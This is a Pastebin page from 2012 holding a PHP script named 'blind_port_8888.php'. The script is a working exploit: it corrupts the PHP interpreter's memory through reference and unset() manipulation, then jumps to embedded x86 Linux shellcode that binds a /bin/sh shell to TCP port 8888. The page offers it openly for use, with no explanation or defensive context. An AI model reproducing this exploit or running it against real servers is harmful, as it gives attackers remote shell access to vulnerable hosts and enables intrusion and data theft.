parkdream1

blind_port_8888.php

Mar 1st, 2012
228
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 1.70 KB | None | 0 0
  1. <?
  2.    $shellcode = "\x6a\x66\x58\x6a\x01\x5b\x99\x52\x53\x6a\x02\x89".
  3.  
  4.  
  5.  
  6.                 "\xe1\xcd\x80\x52\x43\x68\xff\x02".
  7.  
  8.  
  9.  
  10.                 "\x22\xb8". //port (8888)
  11.  
  12.  
  13.  
  14.                 "\x89\xe1".
  15.  
  16.  
  17.  
  18.                 "\x6a\x10\x51\x50\x89\xe1\x89\xc6\xb0\x66\xcd\x80".
  19.  
  20.  
  21.  
  22.                 "\x43\x43\xb0\x66\xcd\x80\x52\x56\x89\xe1\x43\xb0".
  23.  
  24.  
  25.  
  26.                 "\x66\xcd\x80\x89\xd9\x89\xc3\xb0\x3f\x49\xcd\x80".
  27.  
  28.  
  29.  
  30.                 "\x41\xe2\xf8\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f".
  31.  
  32.  
  33.  
  34.                 "\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80";
  35.  
  36.  
  37.  
  38.  
  39.  
  40.  
  41.  
  42.   $________________________str = str_repeat("A", 39);
  43.  
  44.  
  45.  
  46.   $________________________yyy = &$________________________str;
  47.  
  48.  
  49.  
  50.   $________________________xxx = &$________________________str;
  51.  
  52.  
  53.  
  54.   for ($i = 0; $i < 65534; $i++) $arr[] = &$________________________str;
  55.  
  56.  
  57.  
  58.   $________________________aaa = "   XXXXX   ";
  59.  
  60.  
  61.  
  62.   $________________________aab = " XXXx.xXXX ";
  63.  
  64.  
  65.  
  66.   $________________________aac = " XXXx.xXXX ";
  67.  
  68.  
  69.  
  70.   $________________________aad = "   XXXXX   ";
  71.  
  72.  
  73.  
  74.   unset($________________________xxx);
  75.  
  76.  
  77.  
  78.   unset($________________________aaa);
  79.  
  80.  
  81.  
  82.   unset($________________________aab);
  83.  
  84.  
  85.  
  86.   unset($________________________aac);
  87.  
  88.  
  89.  
  90.   unset($________________________aad);
  91.  
  92.  
  93.  
  94.   $arr = array($shellcode => 1);
  95.  
  96.  
  97.  
  98.  
  99.  
  100.  
  101.  
  102.   $addr = unpack("L", substr($________________________str, 6*4, 4));
  103.  
  104.  
  105.  
  106.   $addr = $addr[1] + 32;
  107.  
  108.  
  109.  
  110.   $addr = pack("L", $addr);
  111.  
  112.  
  113.  
  114.  
  115.  
  116.  
  117.  
  118.   for ($i=0; $i<strlen($addr); $i++) {
  119.  
  120.  
  121.  
  122.     $________________________str[8*4+$i] = $addr[$i];
  123.  
  124.  
  125.  
  126.     $________________________yyy[8*4+$i] = $addr[$i];
  127.  
  128.  
  129.  
  130.   }
  131.  
  132.  
  133.  
  134.   unset($arr);
  135.  
  136. ?>
Add Comment
Please, Sign In to add comment